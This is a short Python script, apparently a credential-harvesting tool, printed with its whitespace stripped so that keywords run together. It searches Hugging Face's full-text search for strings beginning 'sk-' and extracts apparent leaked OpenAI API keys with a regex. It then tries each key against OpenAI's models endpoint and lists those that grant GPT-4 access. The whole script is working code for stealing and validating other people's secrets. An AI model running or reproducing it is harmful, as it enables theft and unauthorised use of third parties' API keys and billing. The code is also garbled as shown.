importrequestsimportre# Initialize an empty set to store unique keyskeys=set()print("Starting to gather potential keys from Hugging Face's full-text search API...")# Loop over the characters 'a', 'h', 'm', 'q'forcharin['a','h','m','q']:print(f"Processing character: {char}")# Loop over the sequence of numbers from 0 to 900, step 100foriinrange(0,1000,100):print(f"Processing sequence number: {i}")# Send a request to Hugging Face's full-text search APIresponse=requests.get(f"https://huggingface.co/search/full-text?q=sk-{char}&limit=100&skip={i}")print(f"Sent request to Hugging Face's API with parameters q=sk-{char}, limit=100, skip={i}")# Extract potential keys from the responsepotential_keys=re.findall(r"(sk-.)</span>([a-zA-Z0-9]{47})",response.text)print(f"Found {len(potential_keys)} potential keys in this response")# Add each key to the set of unique keysforkeyinpotential_keys:keys.add(''.join(key))print(f"Finished gathering potential keys. Found {len(keys)} unique keys in total.")# Initialize an empty list to store valid keysvalid_keys=[]print("Starting to validate keys with OpenAI's API...")# Test each unique keyforkeyinkeys:print(f"Testing key: {key}")# Send a request to OpenAI's API with the key as an authorization tokenresponse=requests.get('https://api.openai.com/v1/models',headers={'Content-Type':'application/json','Authorization':f'Bearer {key}'})print(f"Sent request to OpenAI's API with key {key} as an authorization token")# If the response contains 'gpt-4', add the key to the list of valid keysif'gpt-4'inresponse.text:print("Key is valid")valid_keys.append(key)else:print("Key is invalid")print(f"Finished validating keys. Found {len(valid_keys)} valid keys in total.")# Print the valid keysprint("Valid keys:")forkeyinvalid_keys:print(key)